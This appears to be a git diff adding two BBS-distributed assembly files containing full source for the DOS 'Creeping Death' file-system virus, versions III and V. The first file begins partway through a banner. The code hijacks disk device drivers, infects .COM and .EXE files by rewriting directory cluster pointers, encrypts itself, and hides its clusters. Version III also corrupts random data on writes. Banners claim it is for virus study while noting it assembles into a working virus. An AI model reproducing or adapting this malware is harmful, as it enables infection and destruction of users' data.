F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;*****************************************************************************; +; ; +; Creeping Death V (Encrypting, try to find it) ; +; (Version 4 bug Fixed) : +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code + org 5ch + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +BPB_Buf: db 32 dup(?) ; buffer for BPB +EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + + org 100h + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov si,offset Main-1 + mov cx,400h-11 +Repeat: xor byte ptr [si],0 + inc si + loop Repeat + +Main: mov sp,600h ; init stack + inc Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 + jnb Exec + mov ax,cs + dec ax + mov ds,ax + mov cx,8 + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cx + and cx,7 +NextByte: mov si,8 + inc di + push di + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di + cmp byte ptr es:[di-1],0 + jne BeginName + mov si,di + mov bx,es + jmp short Exec + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz Exit + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header + movsw + lodsw + mov es:StrBlock,ax + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; =0 ? + jz Boot + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax + mov di,1 +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h +Exit: mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx + mov cs:RequestSegment,es + retf + +Interrupt: push ax ; driver strategy block + push bx + push cx ; save registers + push dx + push si + push di + push ds + push es + + les bx,cs:Request + push es + pop ds + mov al,ds:[bx+2] ; Command Code + + cmp al,4 ; Input + je Input + cmp al,8 ; Output + je Output + cmp al,9 + je Output + + call DoRequest + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: mov cx,0ff09h ; check if disk changed + call check + jz InfectSector ; no, just infect sector + call DoRequest ; yes, write virus to disk + jmp short inf_dsk + +InfectSector: jmp _InfectSector ; infect sector +Read: jmp _Read ; read sector +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jz Read ; no, read sector +inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz more ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +more: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok +SmallModel: not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] + and ax,di + mov dx,di ; allocate cluster + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je _Read_ ; yes, don't write it and go on + mov dx,ds:[si] + push ds + push si + mov byte ptr es:[bx+2],8 ; write + call DoRequest ; write the adjusted sector to + pop si ; disk + pop ds + jnz _Read_ + call ReadSector ; read it again + cmp ds:[si],dx ; is it written correctly ? + jne _Read_ ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +load: pop ax + stosw + loop load +_Read: call DoRequest ; do request + + mov cx,9 +_InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +check: mov ah,ds:[bx+1] ; get number of unit +drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae fat_16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds + push cs + pop ds + push es + push cs + pop es + cld + mov cx,12 + mov si,offset Encrypt + mov di,offset EncryptWrite2 + inc byte ptr ds:[si+8] + rep movsb + mov cl,10 + mov si,offset DoRequest + rep movsb + mov cl,12 + mov si,offset Encrypt + rep movsb + mov ax,0c31fh + stosw + pop es + jmp EncryptWrite2 + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +File: db "C:",255,0 ; the virus tries to open this + ; file + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Signature db 'CREEPING DEATH 3' ; Signature + +Header db 7 dup(?) ; this is the header for the + ; device driver + +f_name: db ? ; Buffer for the filename used + ; by the exec-function + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends + +end Encrypt + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] CoSysOp: Northstar Ken [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/CDSET6 (40).ASM b/c/CDSET6 (40).ASM new file mode 100755 index 0000000..5ee0718 --- /dev/null +++ b/c/CDSET6 (40).ASM @@ -0,0 +1,631 @@ +;*****************************************************************************; +; ; +; Creeping Death III (Encrypting, try to find it) ; +; ; +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code, ss:code + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + + org 5ch ; use the space reserved for + ; the fcbs and command line + ; for more inportant data, + ; because we won't need this + ; data when the virus is + ; installed + +EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt + +BPB_Buf db 32 dup(?) ; buffer for BPB + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + + + org 100h ; com-file starts at offset 100 + ; hex + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov si,offset Main-1 ; this part of the program + mov cx,400h-11 ; will decode the encoded +Repeat: xor byte ptr [si],0 ; program, so it can be + inc si ; executed + loop Repeat + +Main: mov sp,600h ; init stack + inc word ptr Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 ; filename+path available ? + jnb Exec ; yes, execute it + mov ax,cs ; get segment of MCB + dec ax + mov ds,ax + mov cl,8 ; count length of filename + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cl + and cl,7 +NextByte: mov si,8 ; search for this name in the + inc di ; parent PSP to find the path + push di ; to this file + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di ; name found, search for start + cmp byte ptr es:[di-1],0 ; of name+path + jne BeginName + mov si,di + mov bx,es + jmp short Exec ; execute it + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz Exit + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header ; prepare header of the viral + movsw ; device driver and save the + lodsw ; address of the dos strategy + mov es:StrBlock,ax ; and interrupt procedures + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; environment available ? + jz Boot ; no, computer is rebooted + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax ; end of environment is marked + mov di,1 ; with two zero bytes +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset Filename ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h +Exit: mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx ; store segment and offset of + mov cs:RequestSegment,es ; request block + retf ; return to dos (or whatever + ; called this device driver) + +Interrupt: push ax ; driver strategy block + push bx ; save registers + push cx + push dx + push si + push di + push ds + push es + + les bx,cs:Request ; es:bx = request block + push es ; ds:bx = request block + pop ds + mov al,ds:[bx+2] ; command code + + cmp al,4 ; read sector from disk + je Input + cmp al,8 ; write sector to disk + je Output + cmp al,9 + je Output + + call DoRequest ; let dos do handle the request + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: inc byte ptr cs:Random ; increase counter + jnz Skip ; zero ? + push bx ; yes, change one byte in the + push ds ; sector to write + lds bx,ds:[bx+16h] + inc bh + inc byte ptr ds:[bx] ; destroy some data + pop ds + pop bx +Skip: mov cx,0ff09h + call Check ; check if disk changed + jz Disk ; yes, write virus to disk + jmp InfectSector ; no, just infect sector +Disk: call DoRequest + jmp short InfectDisk + +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jnz InfectDisk ; no, read sector + jmp Read +InfectDisk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +Save: lodsw + push ax + loop Save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz More ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +More: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector + lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok + not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax ; allocate 1st cluster + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz Here + inc dx + mul dx +Here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] ; allocate last cluster + and ax,di + mov dx,di + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je DiskInfected ; yes, don't write it and go on + mov dx,ds:[si] + mov byte ptr es:[bx+2],8 ; write the adjusted sector to + call DoRequest ; disk + jnz DiskInfected + mov byte ptr es:[bx+2],4 ; read it again + call ReadSector + cmp ds:[si],dx ; is it written correctly ? + jne DiskInfected ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz Less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +Less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +DiskInfected: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +Load: pop ax + stosw + loop Load +Read: call DoRequest ; do request + + mov cx,9 +InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +Find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +Com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +Found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +Pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +Gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +Rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +Go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +Check: mov ah,ds:[bx+1] ; get number of unit +Drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne Changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +Changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae Fat16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc Continue + mov di,0fff0h + jmp short Continue +Fat16: mov si,2 + mul si + mov di,0ffffh +Continue: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds ; write virus to disk + push cs ; (encrypted) save regs + pop ds + push es + push cs + pop es + cld ; copy forward + mov cx,12 ; length of encryptor + mov si,offset Encrypt ; start of encryptor + mov di,offset EncryptWrite2 ; destenation + inc byte ptr ds:[si+8] ; change xor value + rep movsb ; copy encryptor + mov cl,10 ; copy dorequest proc + mov si,offset DoRequest + rep movsb + mov cl,12 ; copy encryptor + mov si,offset Encrypt + rep movsb + mov ax,0c31fh ; store "pop ds","ret" + stosw ; instructions + pop es ; restore register + jmp EncryptWrite2 ; encrypt and write vir + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +File db "C:",255,0 ; the virus tries to open this + ; file + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Random db ? ; if this byte becomes zero + ; the virus will change the + ; sector that will be written + ; to disk + +Header db 7 dup(?) ; this is the header for the + ; device driver + +Filename db ? ; Buffer for the filename used + ; by the exec-function + + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends ; end of the viral code + +end Encrypt ; start at 